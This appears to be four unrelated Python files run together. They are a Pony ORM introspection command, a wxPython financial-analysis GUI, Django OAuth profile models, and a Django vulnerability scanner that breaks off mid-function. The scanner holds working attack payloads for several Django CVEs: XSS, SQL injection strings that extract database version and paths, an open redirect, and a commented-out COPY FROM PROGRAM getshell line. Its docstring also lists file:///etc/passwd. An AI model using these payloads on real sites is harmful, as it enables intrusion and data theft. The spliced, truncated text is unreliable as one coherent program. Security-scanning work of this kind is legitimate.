'''
Usage:
    introspect --database=DATABASE

Options:
    DATABASE  path to pony.orm.Database
'''

from collections import defaultdict
from contextlib import ExitStack

from pony.utils import cached_property

import keyword
import re
from collections import OrderedDict

from .utils import import_obj

from docopt import docopt

from pony.orm import Database

import os
from textwrap import dedent

import warnings

from .postgres import Introspection as PostgresIntrospection
from .mysql import Introspection as MysqlIntrospection
from .sqlite import Introspection as SqliteIntrospection

INROSPECTION_IMPL = {
    'postgresql': PostgresIntrospection,
    'mysql': MysqlIntrospection,
    'sqlite': SqliteIntrospection,
}

# TODO related field set

class Command:
    help = "Introspects the database tables in the given database and outputs a Django model module."

    KWARGS_ORDER = 'unique nullable default column'.split()

    @cached_property
    def imports(self):
        return [
            'from pony.orm import *'
        ]

    def get_output(self):
        lines = list(self._get_output())
        yield "# This is an auto-generated module with pony entities."
        yield ''
        yield from set(self.imports)
        yield ''
        yield from lines

    def table2model(self, table_name):
        return re.sub(r'[^a-zA-Z0-9]', '', table_name.title())

    def is_pony_table(self, table):
        return table in ['migration', 'pony_version']

    @cached_property
    def field_counters(self):
        return defaultdict(int)

    @cached_property
    def relations_counters(self):
        return defaultdict(int)

    def _make_introspection(self):
        options = docopt(__doc__)
        database = options['--database']
        db = import_obj(database)

        connection = db.provider.connect()

        # get provider
        if isinstance(db, Database):
            Introspection = INROSPECTION_IMPL[db.provider.dialect.lower()]
            introspection = Introspection(connection, provider=db.provider)
        else:
            raise NotImplementedError

        self.introspection = introspection

        ret = {}

        # FIXME
        cursor = connection.cursor()

        tables_to_introspect = introspection.table_names(cursor)

        counters = self.field_counters
        rel_counters = self.relations_counters

        for table_name in tables_to_introspect:
            if self.is_pony_table(table_name):
                continue
            try:
                relations = introspection.get_relations(cursor, table_name)
            except NotImplementedError:
                if os.environ.get('DEBUG'):
                    raise
                relations = {}
            try:
                constraints = introspection.get_constraints(cursor, table_name)
            except NotImplementedError:
                if os.environ.get('DEBUG'):
                    raise
                constraints = {}
            primary_key_columns = list(
                introspection.get_primary_key_columns(cursor, table_name)
            )
            unique_columns = [
                c['columns'][0] for c in constraints.values()
                if c['unique'] and len(c['columns']) == 1
            ]
            table_description = introspection.get_table_description(cursor, table_name)

            # normalize field names & increment field name counters
            for field in table_description:
                if field.name in relations:
                    continue
                field.name, _, _ = self.normalize_col_name(field.name)

                field.name = f"{field.name}{counters[(table_name, field.name)] or ''}"
                counters[(table_name, field.name)] += 1

            # check if it's an m2m table
            related_tables = []
            is_m2m = False
            for field in table_description:
                #relations: {'a_id': ('id', 'm2m_a')}
                if field.name not in relations:
                    if field.name in primary_key_columns:
                        continue
                    else:
                        break
                tblname = relations[field.name][1]
                related_tables.append({'table': tblname, 'field': field.name})
            else:

                is_m2m = len(set(t['table'] for t in related_tables)) == 2

            if is_m2m:
                # store the relation in the each of related tables
                this, other = related_tables
                this_field, other_field = this['field'], other['field']
                this['field'] = f"{this['field']}_set{counters[(other['table'], this['field'])] or ''}"
                other['field'] = f"{other['field']}_set{counters[(this['table'], other['field'])] or ''}"
                counters[(this['table'], other_field)] += 1
                counters[(other['table'], this_field)] += 1
                for this, other in ((this, other), (other, this)):
                    ret.setdefault(this['table'], {}).setdefault('rel_attrs', []).append({
                        'name': other['field'],
                        'table': other['table'],
                        'cls': 'Set',
                        'reverse': this['field']
                    })
                    rel_counters[(this['table'], other['table'])] += 1
                continue

            # calculate relation attributes
            for column_name, (_attr, ref_table) in relations.items():
                att_name, kwargs, _notes = self.normalize_col_name(column_name, is_related=True)
                index = counters[(table_name, att_name)]
                counters[(table_name, att_name)] += 1
                att_name = f"{att_name}{index or ''}"
                rel_attrs = ret.setdefault(table_name, {}).setdefault('rel_attrs', [])
                # getting reverse name
                reverse = table_name.lower()
                index = counters[(ref_table, reverse)]
                counters[(ref_table, reverse)] += 1
                reverse = f"{reverse}_set{index or ''}"

                rel_attrs.append({
                    'name': att_name,
                    'cls': 'Required',
                    'reverse': reverse,
                    'table': ref_table,
                    'kwargs': kwargs,
                })
                rel_counters[(table_name, ref_table)] += 1
                rel_attrs = ret.setdefault(ref_table, {}).setdefault('rel_attrs', [])
                rel_attrs.append({
                    'name': reverse,
                    'cls': 'Set',
                    'reverse': att_name,
                    'table': table_name,
                })
                rel_counters[(ref_table, table_name)] += 1

            ret.setdefault(table_name, {}).update({
                'relations': relations, 'description': table_description,
                'unique_columns': unique_columns, 'primary_key_columns': primary_key_columns,
                'constraints': constraints,
            })

        return ret

    def _get_output(self):
        # not requires connection?
        all_data = self._make_introspection()
        table2model = self.table2model

        yield 'db = Database()'
        known_models = []

        for table_name, data in all_data.items():
            relations = data['relations']
            primary_key_columns = data['primary_key_columns']
            unique_columns = data['unique_columns']
            table_description = data['description']

            yield ''
            yield ''
            model_name = table2model(table_name)
            yield f'class {model_name}(db.Entity):'
            yield f'    _table_ = "{table_name}"'
            known_models.append(model_name)
            # used_column_names = []  # Holds column names used in the table so far
            column_to_field_name = {}  # Maps column names to names of model fields

            for row in table_description:
                comment_notes = []  # Holds Field notes, to be displayed in a Python comment.
                extra_params = OrderedDict()  # Holds Field parameters such as 'column'.
                column_name = att_name = row[0]

                # used_column_names.append(att_name)
                column_to_field_name[column_name] = att_name
                field_kwargs = {}

                # Add primary_key and unique, if necessary.
                if [column_name] == primary_key_columns:
                    extra_params['primary_key'] = True
                elif column_name in unique_columns:
                    field_kwargs['unique'] = True

                is_relation = column_name in relations
                if not is_relation:
                    # Calling `get_field_type` to get the field type string and any
                    # additional parameters and notes.
                    field_type, field_params, field_notes = self.get_field_type(#connection,
                            table_name, row)
                    extra_params.update(field_params)
                    field_kwargs.update(field_params)
                    comment_notes.extend(field_notes)

                if att_name == 'id' and extra_params == {'primary_key': True}:
                    if field_type == 'AUTO':
                        continue

                if row[6]:  # If it's NULL...
                    extra_params['null'] = True

                def sort_key(item, default=len(field_kwargs)):
                    key, val = item
                    try:
                        index = self.KWARGS_ORDER.index(key)
                    except ValueError:
                        return default
                    return index

                sorted_kwargs = sorted(field_kwargs.items(), key=sort_key)

                kwargs_list = [
                    f'{key}={repr(val)}'
                    for key, val in sorted_kwargs
                ]
                kwargs_list = ', '.join(kwargs_list)
                if kwargs_list:
                    kwargs_list = f', {kwargs_list}'

                if not is_relation:
                    if extra_params.get('primary_key'):
                        cls = 'PrimaryKey'
                    elif extra_params.get('null'):
                        cls = 'Optional'
                    else:
                        cls = 'Required'
                    field_desc = f'{att_name} = {cls}({field_type}{kwargs_list})'

                    if comment_notes:
                        field_desc += f'  # {join(comment_notes)}'
                    yield f'    {field_desc}'

            rel_attrs = data.get('rel_attrs', ())
            for attr in rel_attrs:
                model = self.table2model(attr['table'])
                kwargs = attr.get('kwargs', {})
                if self.relations_counters[(table_name, attr['table'])] > 1:
                    kwargs['reverse'] = attr['reverse']

                kwargs = [
                    f'{key}={repr(val)}'
                    for key, val in kwargs.items()
                ]
                kwargs = ', '.join(kwargs)
                kwargs = f', {kwargs}' if kwargs else ''
                yield f'''    {attr['name']} = {attr['cls']}("{model}"{kwargs})'''

            # compound primary key
            if len(primary_key_columns) > 1:
                attrs = [
                    column_to_field_name[c] for c in primary_key_columns
                ]
                yield f"    PrimaryKey({', '.join(attrs)})"

    def normalize_col_name(self, col_name, is_related=False):
        """
        Modify the column name to make it Python-compatible as a field name
        """
        field_params = {}
        field_notes = []

        new_name = col_name.lower()
        if new_name != col_name:
            field_notes.append('Field name made lowercase.')
        if is_related and col_name.endswith('_id'):
            new_name = new_name[:-3]
        new_name, num_repl = re.subn(r'\W', '_', new_name)
        if num_repl > 0:
            field_notes.append('Field renamed to remove unsuitable characters.')

        if new_name.startswith('_'):
            new_name = 'attr%s' % new_name
            field_notes.append("Field renamed because it started with '_'.")

        if new_name.endswith('_'):
            new_name = '%sattr' % new_name
            field_notes.append("Field renamed because it ended with '_'.")

        if keyword.iskeyword(new_name):
            new_name += '_attr'
            field_notes.append('Field renamed because it was a Python reserved word.')

        if new_name[0].isdigit():
            new_name = 'number_%s' % new_name
            field_notes.append("Field renamed because it wasn't a valid Python identifier.")

        if col_name != new_name:
            field_params['column'] = col_name

        return new_name, field_params, field_notes

    def get_field_type(self, table_name, row):
        """
        Given the database connection, the table name, and the cursor row
        description, this routine will return the given field type name, as
        well as any additional keyword parameters and notes for the field.
        """
        field_params = OrderedDict()
        field_notes = []

        try:
            field_type, opts, _import = self.introspection.get_field_type(row[1], row)
        except KeyError:
            field_type = 'LongStr'
            _import = 'from pony.orm.ormtypes import LongStr'
            field_notes.append('This field type is a guess.')

        if _import:
            self.imports.append(_import)
        if opts:
            field_params.update(opts)

        # This is a hook for data_types_reverse to return a tuple of
        # (field_type, field_params_dict).
        if type(field_type) is tuple:
            field_type, new_params = field_type
            field_params.update(new_params)

        # Add max_length for all str fields.
        if field_type == 'str' and row[3]:
            max_length = int(row[3])
            if max_length != -1:
                field_params['max_len'] = max_length

        if field_type == 'Decimal':
            if row[4] is None or row[5] is None:
                field_notes.append(
                    'scale and precision have been guessed, as this '
                    'database handles decimal fields as float')
                field_params['precision'] = row[4] if row[4] is not None else 10
                field_params['scale'] = row[5] if row[5] is not None else 5
            else:
                field_params['precision'] = row[4]
                field_params['scale'] = row[5]

        return field_type, field_params, field_notes


#!/usr/bin/env python

import wx
import os
from aqopa.gui.general_purpose_frame_gui import GeneralFrame

"""
@file       gui.py
@brief      gui file for the financialanalysis module
@author     Katarzyna Mazur
"""

class SingleVersionPanel(wx.Panel):
    def __init__(self, module, *args, **kwargs):
        wx.Panel.__init__(self, *args, **kwargs)

        self.module = module
        self.versionSimulator = {}

        # ################
        # VERSION BOX
        #################

        versionBox = wx.StaticBox(self, label="Version")
        versionsLabel = wx.StaticText(self, label="Choose Version To See\nAnalysis Results:")
        self.versionsList = wx.ComboBox(self, style=wx.TE_READONLY, size=(200, -1))
        self.versionsList.Bind(wx.EVT_COMBOBOX, self.OnVersionChanged)
        versionBoxSizer = wx.StaticBoxSizer(versionBox, wx.HORIZONTAL)
        versionBoxSizer.Add(versionsLabel, 0, wx.ALL | wx.ALIGN_CENTER, 5)
        versionBoxSizer.Add(wx.StaticText(self), 1, wx.ALL | wx.EXPAND, 5)
        versionBoxSizer.Add(self.versionsList, 1, wx.ALL | wx.ALIGN_CENTER, 5)

        ##################################
        # FINANCIAL RESULTS BOX
        ##################################

        self.cashBox = wx.StaticBox(self, label="The Financial Analysis Results")
        self.cashLabel = wx.StaticText(self, label="Price of one kWh [$]:")
        self.cashInput = wx.TextCtrl(self, size=(200, -1))
        cashSizer = wx.BoxSizer(wx.HORIZONTAL)
        cashSizer.Add(self.cashLabel, 0, wx.ALL | wx.EXPAND, 5)
        cashSizer.Add(wx.StaticText(self), 1, wx.ALL | wx.EXPAND, 5)
        cashSizer.Add(self.cashInput, 1, wx.ALL | wx.EXPAND | wx.ALIGN_RIGHT, 5)
        hostsBox, hostsBoxSizer = self._BuildHostsBoxAndSizer()
        cashBoxSizer = wx.StaticBoxSizer(self.cashBox, wx.VERTICAL)
        cashBoxSizer.Add(cashSizer, 0, wx.ALL | wx.EXPAND)
        cashBoxSizer.Add(wx.StaticText(self), 0, wx.ALL | wx.EXPAND, 5)
        cashBoxSizer.Add(hostsBoxSizer, 1, wx.ALL | wx.EXPAND)

        #################
        # BUTTONS LAY
        #################
        self.showFinanceResultsBtn = wx.Button(self, label="Show")
        self.showFinanceResultsBtn.Bind(wx.EVT_BUTTON, self.OnShowFinanceResultsBtnClicked)
        buttonsSizer = wx.BoxSizer(wx.HORIZONTAL)
        buttonsSizer.Add(wx.StaticText(self), 1, wx.ALL | wx.EXPAND, 5)
        buttonsSizer.Add(self.showFinanceResultsBtn, 0, wx.ALL | wx.EXPAND, 5)

        #################
        # MAIN LAY
        #################
        sizer = wx.BoxSizer(wx.VERTICAL)
        sizer.Add(versionBoxSizer, 0, wx.ALL | wx.EXPAND, 5)
        sizer.Add(cashBoxSizer, 0, wx.ALL | wx.EXPAND, 5)
        sizer.Add(buttonsSizer, 0, wx.ALL | wx.EXPAND, 5)
        self.SetSizer(sizer)

        self.SetVersionsResultsVisibility(False)

    def OnShowFinanceResultsBtnClicked(self, event):
        cashText = self.cashInput.GetValue().strip()
        try:
            price = float(cashText)
        except ValueError:
            wx.MessageBox("'%s' is not a valid price. Please correct it." % cashText,
                          'Error', wx.OK | wx.ICON_ERROR)
            return

        versionName = self.versionsList.GetValue()
        simulator = self.versionSimulator[versionName]
        selected_host = self._GetSelectedHost(simulator)

        # get some financial info from module
        all_costs = self.module.calculate_all_costs(simulator, simulator.context.hosts, price)
        mincost, minhost = self.module.get_min_cost(simulator, simulator.context.hosts)
        maxcost, maxhost = self.module.get_max_cost(simulator, simulator.context.hosts)
        total_cost = self.module.get_total_cost(simulator, simulator.context.hosts)
        avg_cost = self.module.get_avg_cost(simulator, simulator.context.hosts)
        curr_cost = all_costs[selected_host]

        # after all calculations, build the GUI
        title = "Financial Analysis for Host: "
        title += selected_host.original_name()

        cashWindow = GeneralFrame(self, "Financial Analysis Results", title, "modules_results.png")
        cashPanel = wx.Panel(cashWindow)

        # ########################################################################
        # ACTUAL COSTS
        #########################################################################
        actualCostsBox = wx.StaticBox(cashPanel, label="Actual Costs of CPU Power Consumption")
        actualCostsBoxSizer = wx.StaticBoxSizer(actualCostsBox, wx.VERTICAL)
        #########################################################################
        # cost of the selected host
        #########################################################################
        infoLabel = "Cost for Host: "
        hostInfoLabel = wx.StaticText(cashPanel, label=infoLabel)
        costLabel ="%.15f" % curr_cost + " $"
        hostCostLabel = wx.StaticText(cashPanel, label=costLabel)
        sizer1 = wx.BoxSizer(wx.HORIZONTAL)
        sizer1.Add(hostInfoLabel, 0, wx.ALL | wx.EXPAND, 5)
        sizer1.Add(wx.StaticText(self), 1, wx.ALL | wx.EXPAND, 5)
        sizer1.Add(hostCostLabel, 0, wx.ALL | wx.EXPAND, 5)
        #########################################################################
        # minimal cost of version (minimal cost of every host in given version)
        #########################################################################
        infoLabel = "Minimal Version Cost (Host: " + minhost.original_name() + ")"
        hostInfoLabel = wx.StaticText(cashPanel, label=infoLabel)
        costLabel ="%.15f" % mincost + " $"
        hostCostLabel = wx.StaticText(cashPanel, label=costLabel)
        sizer2 = wx.BoxSizer(wx.HORIZONTAL)
        sizer2.Add(hostInfoLabel, 0, wx.ALL | wx.EXPAND, 5)
        sizer2.Add(wx.StaticText(self), 1, wx.ALL | wx.EXPAND, 5)
        sizer2.Add(hostCostLabel, 0, wx.ALL | wx.EXPAND, 5)
        #########################################################################
        # maximal cost of version (maximal cost of every host in given version)
        #########################################################################
        infoLabel = "Maximal Version Cost (Host: " + maxhost.original_name() + ")"
        hostInfoLabel = wx.StaticText(cashPanel, label=infoLabel)
        costLabel ="%.15f" % maxcost + " $"
        hostCostLabel = wx.StaticText(cashPanel, label=costLabel)
        sizer3 = wx.BoxSizer(wx.HORIZONTAL)
        sizer3.Add(hostInfoLabel, 0, wx.ALL | wx.EXPAND, 5)
        sizer3.Add(wx.StaticText(self), 1, wx.ALL | wx.EXPAND, 5)
        sizer3.Add(hostCostLabel, 0, wx.ALL | wx.EXPAND, 5)
        #########################################################################
        # average version cost
        #########################################################################
        infoLabel = "Average Version Cost: "
        hostInfoLabel = wx.StaticText(cashPanel, label=infoLabel)
        costLabel ="%.15f" % avg_cost + " $"
        hostCostLabel = wx.StaticText(cashPanel, label=costLabel)
        sizer4 = wx.BoxSizer(wx.HORIZONTAL)
        sizer4.Add(hostInfoLabel, 0, wx.ALL | wx.EXPAND, 5)
        sizer4.Add(wx.StaticText(self), 1, wx.ALL | wx.EXPAND, 5)
        sizer4.Add(hostCostLabel, 0, wx.ALL | wx.EXPAND, 5)
        #########################################################################
        # total version cost
        #########################################################################
        infoLabel = "Total Version Cost: "
        hostInfoLabel = wx.StaticText(cashPanel, label=infoLabel)
        costLabel ="%.15f" % total_cost + " $"
        hostCostLabel = wx.StaticText(cashPanel, label=costLabel)
        sizer5 = wx.BoxSizer(wx.HORIZONTAL)
        sizer5.Add(hostInfoLabel, 0, wx.ALL | wx.EXPAND, 5)
        sizer5.Add(wx.StaticText(self), 1, wx.ALL | wx.EXPAND, 5)
        sizer5.Add(hostCostLabel, 0, wx.ALL | wx.EXPAND, 5)

        actualCostsBoxSizer.Add(sizer1, 0, wx.ALL | wx.EXPAND, 5)
        actualCostsBoxSizer.Add(sizer2, 0, wx.ALL | wx.EXPAND, 5)
        actualCostsBoxSizer.Add(sizer3, 0, wx.ALL | wx.EXPAND, 5)
        actualCostsBoxSizer.Add(sizer4, 0, wx.ALL | wx.EXPAND, 5)
        actualCostsBoxSizer.Add(sizer5, 0, wx.ALL | wx.EXPAND, 5)

        #########################################################################
        # MAIN LAYOUT
        #########################################################################

        mainSizer = wx.BoxSizer(wx.VERTICAL)
        mainSizer.Add(actualCostsBoxSizer, 1, wx.ALL | wx.EXPAND, 5)

        cashPanel.SetSizer(mainSizer)
        cashPanel.Layout()
        cashWindow.CentreOnScreen()
        cashWindow.AddPanel(cashPanel)
        cashWindow.SetWindowSize(600, 300)
        cashWindow.Show()

    def _GetSelectedHost(self, simulator):

        host = None

        # get selected host name from combo
        hostName = self.hostsList.GetValue()

        # find host with the selected name
        for h in simulator.context.hosts:
            if h.original_name() == hostName:
                host = h
                break

        return host

    def _PopulateComboWithHostsNames(self, simulator):
        hostsNames = []
        [hostsNames.append(h.original_name()) for h in simulator.context.hosts if h.original_name() not in hostsNames]
        self.hostsList.Clear()
        self.hostsList.AppendItems(hostsNames)

    # ################
    # LAYOUT
    #################

    def _BuildHostsBoxAndSizer(self):
        """ """

        self.chooseHostLbl = wx.StaticText(self, label="Choose Host To See\nit's Total Cost:")
        self.hostsList = wx.ComboBox(self, style=wx.TE_READONLY, size=(200, -1))

        self.hostsBox = wx.StaticBox(self, label="Host(s)")
        self.hostsBoxSizer = wx.StaticBoxSizer(self.hostsBox, wx.HORIZONTAL)

        self.hostsBoxSizer.Add(self.chooseHostLbl, 0, wx.ALL | wx.EXPAND, 5)
        self.hostsBoxSizer.Add(wx.StaticText(self), 1, wx.ALL | wx.EXPAND, 5)
        self.hostsBoxSizer.Add(self.hostsList, 1, wx.ALL | wx.EXPAND | wx.ALIGN_RIGHT, 5)

        return self.hostsBox, self.hostsBoxSizer

    #################
    # REACTIONS
    #################

    def AddFinishedSimulation(self, simulator):
        """ """
        version = simulator.context.version
        self.versionsList.Append(version.name)
        self.versionSimulator[version.name] = simulator

    def OnVersionChanged(self, event):
        """ """
        versionName = self.versionsList.GetValue()
        simulator = self.versionSimulator[versionName]
        self._PopulateComboWithHostsNames(simulator)
        self.SetVersionsResultsVisibility(True)

    def RemoveAllSimulations(self):
        """ """
        self.versionsList.Clear()
        self.versionsList.SetValue("")
        self.versionSimulator = {}
        self.hostsList.Clear()
        self.hostsList.SetValue("")
        self.SetVersionsResultsVisibility(False)

    def SetVersionsResultsVisibility(self, visible):
        """ """
        widgets = [self.cashLabel, self.cashBox, self.cashInput, self.hostsList, self.hostsBox,
                   self.showFinanceResultsBtn, self.chooseHostLbl]

        for w in widgets:
            if visible:
                w.Show()
            else:
                w.Hide()

        self.Layout()

class MainResultsNotebook(wx.Notebook):
    def __init__(self, module, *args, **kwargs):
        wx.Notebook.__init__(self, *args, **kwargs)

        self.module = module

        il = wx.ImageList(24, 24)
        singleVersionImg = il.Add(wx.Bitmap(self.CreatePath4Resource('cash.png'), wx.BITMAP_TYPE_PNG))
        self.AssignImageList(il)

        self.oneVersionTab = SingleVersionPanel(self.module, self)
        self.AddPage(self.oneVersionTab, "Single Version")
        self.SetPageImage(0, singleVersionImg)
        self.oneVersionTab.Layout()

    def OnParsedModel(self):
        """ """
        self.oneVersionTab.RemoveAllSimulations()

    def OnSimulationFinished(self, simulator):
        """ """
        self.oneVersionTab.AddFinishedSimulation(simulator)

    def OnAllSimulationsFinished(self, simulators):
        """ """
        pass

    def CreatePath4Resource(self, resourceName):
        """
        @brief      creates and returns path to the
                    given file in the resource
                    ('assets') dir
        @return     path to the resource
        """
        tmp = os.path.split(os.path.dirname(__file__))
        # find last / character in path
        idx = tmp[0].rfind('/')
        # get substring - path for resource
        path = tmp[0][0:idx]
        return os.path.join(path, 'bin', 'assets', resourceName)

class ModuleGui(wx.EvtHandler):
    def __init__(self, module):
        """ """
        wx.EvtHandler.__init__(self)
        self.module = module
        self.mainResultNotebook = None

    def get_gui(self):
        if not getattr(self, '__gui', None):
            setattr(self, '__gui', ModuleGui(self))
        return getattr(self, '__gui', None)

    def get_name(self):
        return "Financial Analysis"

    def install_gui(self, simulator):
        """ Install module for gui simulation """
        self._install(simulator)
        return simulator

    def get_configuration_panel(self, parent):
        """ Returns WX panel with configuration controls. """

        panel = wx.Panel(parent)
        sizer = wx.BoxSizer(wx.VERTICAL)
        text = wx.StaticText(panel, label="Module does not need to be configured.")
        sizer.Add(text, 0, wx.ALL | wx.EXPAND, 5)
        text = wx.StaticText(panel, label="All result options will be available after results are calculated.")
        sizer.Add(text, 0, wx.ALL | wx.EXPAND, 5)
        panel.SetSizer(sizer)
        return panel

        # panel = wx.Panel(parent)
        # # create group boxes, aka static boxes
        # costConfBox = wx.StaticBox(panel, label="Cost Per One Kilowatt-Hour")
        # # create info label
        # moduleInfoLabel = wx.StaticText(panel, label="To obtain meaningful results, you need to select The Time Analysis and The Energy Analysis Modules as well. "
        # "Also, remember to give the price of one kilowatt-hour in US dollars.")
        # cashInfoLabel = wx.StaticText(panel, label="Cost per kWh [$]")
        # # create sizers = some kind of layout management
        # sizer = wx.StaticBoxSizer(costConfBox, wx.VERTICAL)
        # inputCashSizer = wx.BoxSizer(wx.HORIZONTAL)
        # mainSizer = wx.BoxSizer(wx.VERTICAL)
        # # create line edit field
        # cashInputText = wx.TextCtrl(panel)
        # inputCashSizer.Add(cashInfoLabel, 0, wx.ALL | wx.EXPAND, 5)
        # inputCashSizer.Add(cashInputText, 1, wx.ALL | wx.EXPAND, 5)
        # # lay them all out
        # sizer.Add(moduleInfoLabel, 0, wx.ALL | wx.EXPAND, 5)
        # sizer.Add(wx.StaticText(panel), 1, wx.ALL | wx.EXPAND, 5)
        # sizer.Add(inputCashSizer, 1, wx.ALL | wx.EXPAND, 5)
        # mainSizer.Add(sizer, 0, wx.ALL | wx.EXPAND, 5)
        # panel.SetSizer(mainSizer)
        # return panel, cashInputText.GetValue()

    def get_results_panel(self, parent):
        """
        Create main result panel existing from the beginning
        which will be extended when versions' simulations are finished.
        """
        self.mainResultNotebook = MainResultsNotebook(self.module, parent)
        return self.mainResultNotebook

    def on_finished_simulation(self, simulator):
        """ """
        self.mainResultNotebook.OnSimulationFinished(simulator)

    def on_finished_all_simulations(self, simulators):
        """
        Called once for all simulations after all of them are finished.
        """
        self.mainResultNotebook.OnAllSimulationsFinished(simulators)

    def on_parsed_model(self):
        """ """
        self.mainResultNotebook.OnParsedModel()


from django.conf import settings
from django.db import models
from django.utils.translation import ugettext_lazy as _

class BaseSocialProfile(models.Model):
    """
    Base model that stores the user's social network information.
    """
    user = models.OneToOneField(
        settings.AUTH_USER_MODEL,
        blank=True, null=True,
        verbose_name=_('user')
    )
    service_uid = models.CharField(
        max_length=255,
        unique=True,
        blank=True, null=True,
        verbose_name=_('uid')
    )
    oauth_access_token = models.CharField(
        blank=True, null=True,
        max_length=255,
        verbose_name=_('OAuth access token')
    )

    created_date = models.DateTimeField(
        blank=True, null=True,
        auto_now=False, auto_now_add=True,
        verbose_name=_('created date')
    )
    last_modified = models.DateTimeField(
        null=True, blank=True,
        auto_now_add=True, auto_now=True,
        verbose_name=_('last modified')
    )

    class Meta:
        abstract = True

class BaseOAuth1Profile(BaseSocialProfile):
    """
    Base Model that stores OAuth 1.0 flow information.
    """
    oauth_access_token_secret = models.CharField(
        blank=True, null=True,
        max_length=255,
        verbose_name=_('OAuth access token secret')
    )
    oauth_request_token = models.CharField(
        blank=True, null=True,
        max_length=255,
        verbose_name=_('OAuth request token')
    )
    oauth_request_token_secret = models.CharField(
        blank=True, null=True,
        max_length=255,
        verbose_name=_('OAuth request token secret')
    )

    class Meta:
        abstract = True

class BaseOAuth2Profile(BaseSocialProfile):
    """
    Base Model that stores OAuth 2.0 flow information.
    """
    oauth_access_token_expires_at = models.DateTimeField(
        blank=True, null=True,
        verbose_name=_('OAuth access token expires at')
    )
    oauth_refresh_token = models.CharField(
        blank=True, null=True,
        max_length=255,
        verbose_name=_('OAuth refresh token')
    )

    class Meta:
        abstract = True


#!/usr/bin/env python3
# -*- coding:utf-8 -*-

'''
    Django扫描类:
        1. Django debug page XSS漏洞
            CVE-2017-12794
                Payload: https://vulhub.org/#/environments/django/CVE-2018-14574/

        2. Django JSONfield sql注入漏洞
            CVE-2019-14234
                Payload: https://vulhub.org/#/environments/django/CVE-2018-14574/
                         https://blog.csdn.net/weixin_42250835/article/details/121106792

        3. Django CommonMiddleware url重定向漏洞
            CVE-2018-14574
                Payload: https://vulhub.org/#/environments/django/CVE-2018-14574/

        4. Django GIS函数 sql注入漏洞
            CVE-2020-9402
                Payload: https://vulhub.org/#/environments/django/CVE-2020-9402/

        5. Django QuerySet.order_by sql注入漏洞
            CVE-2021-35042
                Payload: https://vulhub.org/#/environments/django/CVE-2021-35042/
file:///etc/passwd
file:///C:\Windows\System32\drivers\etc\hosts
'''

from flask import redirect
from lib.initial.config import config
from lib.tool.md5 import md5
from lib.tool.logger import logger
from lib.tool.thread import thread
from lib.tool import check
from thirdparty import requests

class Django():
    def __init__(self):
        self.timeout = config.get('timeout')
        self.headers = config.get('headers')
        self.proxies = config.get('proxies')

        self.app_name = 'Django'
        self.md = md5(self.app_name)
        self.cmd = 'echo ' + self.md

        self.cve_2017_12794_payloads = [
            {
                'path': 'create_user/?username=<ScRiPt>prompt(\'12794\')</sCrIpt>',
                'data': ''
            }
        ]

        self.cve_2019_14234_payloads = [
            {
                'path': 'admin/vuln/collection/?detail__a\'b=123',
                'data': ''
            },
            {
                'path': 'vuln/collection/?detail__a\'b=123',
                'data': ''
            },
            {
                'path': 'collection/?detail__a\'b=123',
                'data': ''
            },
            {
                'path': '?detail__a\'b=123',
                'data': ''
            },
            # {   # * 配合CVE-2019-9193完成Getshell
            #     'path': "?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'touch /tmp/test.txt'--%20",
            #     'data': ''
            # }
        ]

        self.cve_2018_14574_payloads = [
            {
                'path': '/www.example.com',
                'data': ''
            }
        ]

        self.cve_2020_9402_payloads = [
            {
                'path': '?q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null  OR (1+1',
                'data': ''
            },
            {
                'path': '?q=0.05))) FROM "VULN_COLLECTION2"  where  (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null  --',
                'data': ''
            }
        ]

        self.cve_2021_35042_payloads = [
            {
                'path': '?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@basedir)),1)%23',
                'data': ''
            }
        ]

    def cve_2017_12794_scan(self, url):
        '''Django debug page XSS漏洞
                构造url创建新用户, 同时拼接xss语句, 得到已创建的提示;
                此时再次访问该链接(即创建同一个xss用户), 将触发恶意代码
        '''
        vul_info = {}
        vul_info['app_name'] = self.app_name
        vul_info['vul_type'] = 'XSS'
        vul_info['vul_id'] = 'CVE-2017-12794'
        vul_info['vul_method'] = 'GET'
        vul_info['headers'] = {}

        headers = self.headers
        headers.update(vul_info['headers'])

        for payload in self.cve_2017_12794_payloads:    # * Payload
            path = payload['path']                      # * Path
            data = payload['data']                      # * Data
            target = url + path                         # * Target

            vul_info['path'] = path
            vul_info['data'] = data
            vul_info['target'] = target

            try:
                res1 = requests.get(
                    target,
                    timeout=self.timeout,
                    headers=headers,
                    data=data,
                    proxies=self.proxies,
                    verify=False
                )
                logger.logging(vul_info, res1.status_code, res1)                        # * LOG

                # * 该XSS漏洞较奇怪, 需要请求2次, 2次的payload必须一模一样
                res2 = requests.get(
                    target,
                    timeout=self.timeout,
                    headers=headers,
                    data=data,
                    proxies=self.proxies,
                    verify=False
                )
                logger.logging(vul_info, res2.status_code, res2)                        # * LOG
            except requests.ConnectTimeout:
                logger.logging(vul_info, 'Timeout')
                return None
            except requests.ConnectionError:
                logger.logging(vul_info, 'Faild')
                return None
            except:
                logger.logging(vul_info, 'Error')
                return None

            if ("<ScRiPt>prompt('12794')" in check.check_res(res2.text, "prompt('12794')")):
                results = {
                    'Target': target,
                    'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                    'Method': vul_info['vul_method'],
                    'Payload': {
                        'Url': url,
                        'Path': path
                    }
                }
                return results

    def cve_2019_14234_scan(self, url):
        ''' Django JSONfield sql注入漏洞
                需要登录, 并进入当前用户的目录下
        '''
        vul_info = {}
        vul_info['app_name'] = self.app_name
        vul_info['vul_type'] = 'SQLinject'
        vul_info['vul_id'] = 'CVE-2019-14234'
        vul_info['vul_method'] = 'GET'
        vul_info['headers'] = {}

        headers = self.headers
        headers.update(vul_info['headers'])

        for payload in self.cve_2019_14234_payloads:    # * Payload
            path = payload['path']                      # * Path
            data = payload['data']                      # * Data
            target = url + path                         # * Target

            vul_info['path'] = path
            vul_info['data'] = data
            vul_info['target'] = target

            try:
                res = requests.get(
                    target,
                    timeout=self.timeout,
                    headers=headers,
                    data=data,
                    proxies=self.proxies,
                    verify=False
                )
                logger.logging(vul_info, res.status_code, res)                        # * LOG
            except requests.ConnectTimeout:
                logger.logging(vul_info, 'Timeout')
                return None
            except requests.ConnectionError:
                logger.logging(vul_info, 'Faild')
                return None
            except:
                logger.logging(vul_info, 'Error')
                return None

            if (('ProgrammingError' in res.text) or ('Request information' in res.text)):
                results = {
                    'Target': target,
